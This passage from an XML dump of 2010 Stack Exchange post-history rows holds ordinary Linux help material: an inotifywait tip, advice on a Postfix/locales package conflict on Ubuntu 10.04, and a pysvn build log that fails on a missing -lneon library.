ls&#xD;&#xA;    /home/pbm/ OPEN,ISDIR &#xD;&#xA;    /home/pbm/ CLOSE_NOWRITE,CLOSE,ISDIR &#xD;&#xA;    /bin/ CLOSE_NOWRITE,CLOSE ls&#xD;&#xA;&#xD;&#xA;Important thing is to properly set directories for watch:&#xD;&#xA;&#xD;&#xA; - don't watch `/` recursively - there is a lot of read/write to `/dev` and `/proc`&#xD;&#xA; - don't watch your home dir recursively - when you use apps there is a lot of read/write to application configuration dirs and browsers profile dirs&#xD;&#xA;&#xD;&#xA;In `/proc/sys/fs/inotify/max_user_watches` there is configuration option that shows how manu files could be watched simultaneously. Default value (for Gentoo) is about not so high, so if you set watcher to `/home/` you could exceed limit. You could increase limit by using `echo` (root access needed).&#xD;&#xA;&#xD;&#xA;    echo 524288 &gt; /proc/sys/fs/inotify/max_user_watches&#xD;&#xA;&#xD;&#xA;But before that you should read about [consequences of that change][2].&#xD;&#xA;&#xD;&#xA;Options that could be interesting for you:&#xD;&#xA;&#xD;&#xA; - `-d` = daemon mode &#xD;&#xA; - `-o file` =  output to file&#xD;&#xA; - `--format` = user-specified format, more info in `man inotifywait`&#xD;&#xA; - `-e EVENT` = what event should be monitored (for example `access`, `modify`, etc, more info in `man`)&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/rvoicilas/inotify-tools/wiki/#getting&#xD;&#xA;  [2]: http://www.spinics.net/linux/fedora/fedora-kernel/msg02606.html" />
  <row Id="9337" PostHistoryTypeId="6" PostId="3926" RevisionGUID="2b91857c-e7e3-40b3-8a73-4401cf13cf9a" CreationDate="2010-11-23T19:31:59.347" UserId="885" Comment="edited tags" Text="énetworkingàésoftwareörecàémonitoringàébandwidthà" />
  <row Id="9338" PostHistoryTypeId="5" PostId="4281" RevisionGUID="ae2b28b0-7d71-41ba-8a03-763c017be11a" CreationDate="2010-11-23T19:33:22.167" UserId="1207" Comment="deleted 17 characters in body" Text="What are the steps to use iPhone 3G internet tethering via USB on Ubuntu 10.04? Is there software I need to install on Ubuntu for this? The tethering works fine on Windows." />
  <row Id="9339" PostHistoryTypeId="2" PostId="4293" RevisionGUID="ea9a04c3-b740-4899-ab77-6e015b159a8e" CreationDate="2010-11-23T19:35:30.573" UserId="885" Text="Your system is not up-to-date with 10.04, which was released with version `2.11.1-0ubuntu7` of the `libc-bin` package (now superseded by `2.11.1-0ubuntu7.5` due to a security upgrade) and and version `2.11+git20100304-3` of the `locales` package. Installing the Postfix package required an upgrade of `locales`, but the new version of `locales` is incompatible with the version of `libc-bin` you now have. It's a bug that the `locales` package doesn't declare a dependency that would have caused `libc-bin` to be upgraded as well.&#xD;&#xA;&#xD;&#xA;Nonetheless, you are doing two things wrong. First, you shouldn't try to run a mixed karmic/lucid system. It's technically possible, but inadvisable and will lead to all kinds of problems such as the one you're experiencing. Second, you should enable security upgrades.&#xD;&#xA;&#xD;&#xA;If you're using the GUI, bring up “Software sources” and make sure “Important security updates” and “Recommended updates” are checked in the “Updates” tab. Then bring up the “Update manager” and perform an upgrade to 10.04.&#xD;&#xA;&#xD;&#xA;If you're using the command line, make sure `/etc/apt/sources.list` contains at least the following lines:&#xD;&#xA;&#xD;&#xA;    deb http://fr.archive.ubuntu.com/ubuntu/ lucid main restricted universe multiverse&#xD;&#xA;    deb http://fr.archive.ubuntu.com/ubuntu/ lucid-updates main restricted universe multiverse&#xD;&#xA;    deb http://security.ubuntu.com/ubuntu lucid-security main restricted universe multiverse&#xD;&#xA;&#xD;&#xA;(It's ok if `restricted`, `universe` and `multiverse` are on separate lines with the same prefix `deb ... lucid-...` prefix as `main`.) Then either install the [`update-manager-core`](http://packages.ubuntu.com/update-manager-core) [![Install update-manager-core](http://bit.ly/software-small)](http://apt.ubuntu.com/p/update-manager-core) package and run `sudo do-release-upgrade`, or run `sudo apt-get update; sudo apt-get dist-upgrade`.&#xD;&#xA;&#xD;&#xA;See also [Lucid Upgrades](https://help.ubuntu.com/community/LucidUpgrades); in addition to the information on this page, note that you don't seem to have security updates enabled, and the automated procedure might not take care of that.&#xD;&#xA;" />
  <row Id="9340" PostHistoryTypeId="5" PostId="4278" RevisionGUID="6db91991-4514-4ce6-b6a1-fb564e4b770e" CreationDate="2010-11-23T19:37:42.803" UserId="885" Comment="added 54 characters in body; edited tags" Text="Hi, I am trying to install Postfix on Ubuntu 10.04 using command `sudo apt-get install postfix` but there comes error as shown below:&#xD;&#xA;&#xD;&#xA;    Preconfiguring packages ...&#xD;&#xA;    (Reading database ... 164023 files and directories currently installed.)&#xD;&#xA;    Preparing to replace locales 2.9+git20090617-3 (using .../locales_2.11.2-7_all.deb) ...&#xD;&#xA;    Unpacking replacement locales ...&#xD;&#xA;    dpkg: error processing /var/cache/apt/archives/locales_2.11.2-7_all.deb (--unpack):&#xD;&#xA;     trying to overwrite '/usr/sbin/validlocale', which is also in package libc-bin 0:2.10.1-0ubuntu18&#xD;&#xA;    Processing triggers for man-db ...&#xD;&#xA;    Errors were encountered while processing:&#xD;&#xA;     /var/cache/apt/archives/locales_2.11.2-7_all.deb&#xD;&#xA;    E: Sub-process /usr/bin/dpkg returned an error code (1)&#xD;&#xA;&#xD;&#xA;Please help me what to do&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9341" PostHistoryTypeId="6" PostId="4278" RevisionGUID="6db91991-4514-4ce6-b6a1-fb564e4b770e" CreationDate="2010-11-23T19:37:42.803" UserId="885" Comment="added 54 characters in body; edited tags" Text="éubuntuàéupgradeà" />
  <row Id="9342" PostHistoryTypeId="2" PostId="4294" RevisionGUID="d8151a13-d5a7-4a83-a302-0b1f601b560d" CreationDate="2010-11-23T19:40:57.477" UserId="2781" Text="I am trying to install pysvn on my CentOS server and it says that -lneon is gone.  &#xD;&#xA;After searching their mailing lists for a bit [I found what neon means][1] but it doesn't say how can I get it?&#xD;&#xA;&#xD;&#xA;Here's my make command output:&#xD;&#xA;&#xD;&#xA;    make&#xD;&#xA;    /usr/local/bin/python2.7 -u generate_svn_error_codes/create_svn_error_codes_hpp.&#xD;&#xA;    py /usr/local/include/subversion-1&#xD;&#xA;    g++ -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.&#xD;&#xA;    2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/pyt&#xD;&#xA;    hon2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -DPYC&#xD;&#xA;    XX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  gene&#xD;&#xA;    rate_svn_error_codes/generate_svn_error_codes.cpp -o generate_svn_error_codes/ge&#xD;&#xA;    nerate_svn_error_codes&#xD;&#xA;    /usr/local/bin/python2.7 -u create__init__.py pysvn/__init__.py.template pysvn/_&#xD;&#xA;    _init__.py generate_svn_error_codes/generate_svn_error_codes _pysvn_2_7.so&#xD;&#xA;    Info: Creating __init__.py for module _pysvn_2_7&#xD;&#xA;    Info: Running 'generate_svn_error_codes/generate_svn_error_codes &gt;&gt;pysvn/__init_&#xD;&#xA;    _.py'&#xD;&#xA;    Compile pysvn_docs.cpp&#xD;&#xA;    /usr/local/bin/python2.7 -u ../Docs/generate_cpp_docs_from_html_docs.py /usr/loc&#xD;&#xA;    al/include/subversion-1 ../Docs/pysvn_prog_ref.html pysvn_docs.hpp pysvn_docs.cp&#xD;&#xA;    p&#xD;&#xA;    Info: svn_include /usr/local/include/subversion-1&#xD;&#xA;    Info: html_doc ../Docs/pysvn_prog_ref.html&#xD;&#xA;    Info: cpp_header_filename pysvn_docs.hpp&#xD;&#xA;    Info: cpp_module_filename pysvn_docs.cpp&#xD;&#xA;    Info: Building against SVN 1.5.7 code 1005007&#xD;&#xA;    Compile pysvn_docs.hpp&#xD;&#xA;    touch pysvn_docs.hpp&#xD;&#xA;    Compile pysvn_version.hpp&#xD;&#xA;    /usr/local/bin/python2.7 -u ../Builder/brand_version.py ../Builder/version.info&#xD;&#xA;    pysvn_version.hpp.template&#xD;&#xA;    Info: Running svnversion -c &quot;..&quot; 2&gt;&amp;1&#xD;&#xA;    Info: revision exported&#xD;&#xA;    Compile pysvn.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn.o pysvn.cpp&#xD;&#xA;    Compile pysvn_callbacks.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_callbacks.o pysvn_callbacks.cpp&#xD;&#xA;    Compile pysvn_client.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client.o pysvn_client.cpp&#xD;&#xA;    Compile pysvn_static_strings.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_static_strings.o pysvn_static_strings.cpp&#xD;&#xA;    Compile pysvn_enum_string.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_enum_string.o pysvn_enum_string.cpp&#xD;&#xA;    Compile pysvn_client_cmd_add.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_add.o pysvn_client_cmd_add.cpp&#xD;&#xA;    Compile pysvn_client_cmd_changelist.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_changelist.o pysvn_client_cmd_changelist.cpp&#xD;&#xA;    Compile pysvn_client_cmd_checkin.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_checkin.o pysvn_client_cmd_checkin.cpp&#xD;&#xA;    Compile pysvn_client_cmd_copy.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_copy.o pysvn_client_cmd_copy.cpp&#xD;&#xA;    Compile pysvn_client_cmd_diff.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_diff.o pysvn_client_cmd_diff.cpp&#xD;&#xA;    Compile pysvn_client_cmd_export.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_export.o pysvn_client_cmd_export.cpp&#xD;&#xA;    Compile pysvn_client_cmd_info.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_info.o pysvn_client_cmd_info.cpp&#xD;&#xA;    Compile pysvn_client_cmd_list.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_list.o pysvn_client_cmd_list.cpp&#xD;&#xA;    Compile pysvn_client_cmd_lock.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_lock.o pysvn_client_cmd_lock.cpp&#xD;&#xA;    Compile pysvn_client_cmd_merge.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_merge.o pysvn_client_cmd_merge.cpp&#xD;&#xA;    Compile pysvn_client_cmd_prop.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_prop.o pysvn_client_cmd_prop.cpp&#xD;&#xA;    Compile pysvn_client_cmd_revprop.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_revprop.o pysvn_client_cmd_revprop.cpp&#xD;&#xA;    Compile pysvn_client_cmd_switch.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_client_cmd_switch.o pysvn_client_cmd_switch.cpp&#xD;&#xA;    Compile pysvn_transaction.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_transaction.o pysvn_transaction.cpp&#xD;&#xA;    Compile pysvn_revision.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_revision.o pysvn_revision.cpp&#xD;&#xA;    Compile pysvn_docs.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_docs.o pysvn_docs.cpp&#xD;&#xA;    Compile pysvn_path.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_path.o pysvn_path.cpp&#xD;&#xA;    Compile pysvn_arg_processing.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_arg_processing.o pysvn_arg_processing.cpp&#xD;&#xA;    Compile pysvn_converters.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_converters.o pysvn_converters.cpp&#xD;&#xA;    Compile pysvn_svnenv.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_svnenv.o pysvn_svnenv.cpp&#xD;&#xA;    Compile pysvn_profile.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o pysvn_profile.o pysvn_profile.cpp&#xD;&#xA;    Compile cxxsupport.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o cxxsupport.o /home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src/cxxsupport.cxx&#xD;&#xA;    Compile cxx_extensions.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o cxx_extensions.o /home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src/cxx_extensi&#xD;&#xA;    ons.cxx&#xD;&#xA;    Compile cxxextensions.o&#xD;&#xA;    gcc -c -Wall -fPIC -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1 -I/home/omerk&#xD;&#xA;    atz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/python2.7 -I/usr/loc&#xD;&#xA;    al/include/subversion-1 -I/usr/include/httpd -I.  -o cxxextensions.o /home/omerk&#xD;&#xA;    atz/pysvn-1.7.4/Import/pycxx-6.2.1/Src/cxxextensions.c&#xD;&#xA;    Compile IndirectPythonInterface.o&#xD;&#xA;    g++ -c -Wall -fPIC -fexceptions -frtti -I/home/omerkatz/pysvn-1.7.4/Import/pycxx&#xD;&#xA;    -6.2.1 -I/home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src -I/usr/local/include/&#xD;&#xA;    python2.7 -I/usr/local/include/subversion-1 -I/usr/include/httpd -I. -DNDEBUG -D&#xD;&#xA;    PYCXX_PYTHON_2TO3 -Dinit_pysvn=init_pysvn_2_7 -Dinit_pysvn_d=init_pysvn_2_7_d  -&#xD;&#xA;    o IndirectPythonInterface.o /home/omerkatz/pysvn-1.7.4/Import/pycxx-6.2.1/Src/In&#xD;&#xA;    directPythonInterface.cxx&#xD;&#xA;    Compile pysvn/_pysvn_2_7.so&#xD;&#xA;    g++ -shared  -o pysvn/_pysvn_2_7.so pysvn.o pysvn_callbacks.o pysvn_client.o pys&#xD;&#xA;    vn_static_strings.o pysvn_enum_string.o pysvn_client_cmd_add.o pysvn_client_cmd_&#xD;&#xA;    changelist.o pysvn_client_cmd_checkin.o pysvn_client_cmd_copy.o pysvn_client_cmd&#xD;&#xA;    _diff.o pysvn_client_cmd_export.o pysvn_client_cmd_info.o pysvn_client_cmd_list.&#xD;&#xA;    o pysvn_client_cmd_lock.o pysvn_client_cmd_merge.o pysvn_client_cmd_prop.o pysvn&#xD;&#xA;    _client_cmd_revprop.o pysvn_client_cmd_switch.o pysvn_transaction.o pysvn_revisi&#xD;&#xA;    on.o pysvn_docs.o pysvn_path.o pysvn_arg_processing.o pysvn_converters.o pysvn_s&#xD;&#xA;    vnenv.o pysvn_profile.o cxxsupport.o cxx_extensions.o cxxextensions.o IndirectPy&#xD;&#xA;    thonInterface.o -L/usr/local/lib -Wl,--rpath -Wl,/usr/local/lib -lsvn_client-1 -&#xD;&#xA;    lsvn_diff-1 -lsvn_repos-1 -lcom_err -lresolv -lexpat -lneon -lssl&#xD;&#xA;    /usr/bin/ld: cannot find -lneon&#xD;&#xA;    collect2: ld returned 1 exit status&#xD;&#xA;    make: *** [pysvn/_pysvn_2_7.so] Error 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://old.nabble.com/Re%3A--usr-bin-ld%3A-cannot-find--lcom_err-p21535583.html" />
  <row Id="9343" PostHistoryTypeId="1" PostId="4294" RevisionGUID="d8151a13-d5a7-4a83-a302-0b1f601b560d" CreationDate="2010-11-23T19:40:57.477" UserId="2781" Text="pysvn fails to make due to -lneon not found?" />
